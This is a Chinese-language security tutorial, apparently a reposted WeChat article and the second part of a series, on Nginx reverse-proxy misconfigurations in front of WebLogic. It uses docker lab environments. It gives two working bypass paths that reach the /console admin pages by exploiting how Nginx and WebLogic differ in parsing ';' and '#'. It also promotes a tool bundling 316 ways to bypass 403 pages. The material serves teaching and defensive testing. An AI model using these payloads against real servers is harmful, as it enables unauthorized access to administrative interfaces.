nginx配置错误会导致很多安全问题,当nginx作为反向代理服务器时,错误的配置往往会导致访问全县被绕过,本文将分享4个 经典/新颖 案例,从实战出发,学习nginx配置不当导致的权限绕过问题。
系列分为 上/下篇,本文为下篇,上篇内容回顾:
https://github.com/cckuailong/nginx_vultarget
三、案例3:; 截断导致前后端解析不一致
(Nginx + Weblogic)
1. 环境搭建
cd weblogic2/
docker-compose up --build -d
2. 环境中的nginx配置
location /console/ {
deny all;
return 403;
}
location / {
proxy_pass http://backend:7001;
}
可以看到,禁止访问 /console,访问 / 会转发到后端的weblogic服务器
3. 绕过解析
上篇中我们提到过,nginx会将传入的path进行解析,所以传入的poc是
/console/login/LoginForm.jsp;/../../../
nginx解析后会认为传入的是
/
所以绕过了对 /console的封禁,并转发请求到后端weblogic服务器
weblogic服务器有一个特性是遇到 ; 会进行截断操作,所以实际解析的请求是
/console/login/LoginForm.jsp
返回了登陆页
4. 复现
访问 /console/login/LoginForm.jsp,返回403
Poc
/console/login/LoginForm.jsp;/../../../
成功访问到 weblogic的登陆页
四、案例4:weblogic中 # 的妙用
(nginx + weblogic)
1. 环境搭建
cd weblogic1/
docker-compose up --build -d
2. 环境中的nginx配置
location /console/ {
deny all;
return 403;
}
location / {
proxy_pass http://backend:7001;
}
可以看到,案例3 配置一样,禁止访问 /console,访问 / 会转发到后端的weblogic服务器
3. 绕过解析
Weblogic把#作为有效成分,所以可以构造
/#/../console/
Nginx处理请求时,它无视了#后面的所有东西,这样可以绕过访问/console/的限制,并转发原始的/#/../console/给Weblogic。Weblogic根据规范处理这个路径,得到的解析结果是
/console/
所以进入了/console/目录
4. 复现
访问 /console/,返回403
Poc
/#/../console/
成功访问到 weblogic的console页
本公众号内的文章及工具仅提供学习用途,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
今日关注福利
回复 “403bypass”,获取 自动化绕过401/403页面工具,包含316种bypass方式
原文始发于微信公众号(我不是Hacker):终极案例|轻松绕过你的Nginx(下篇)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论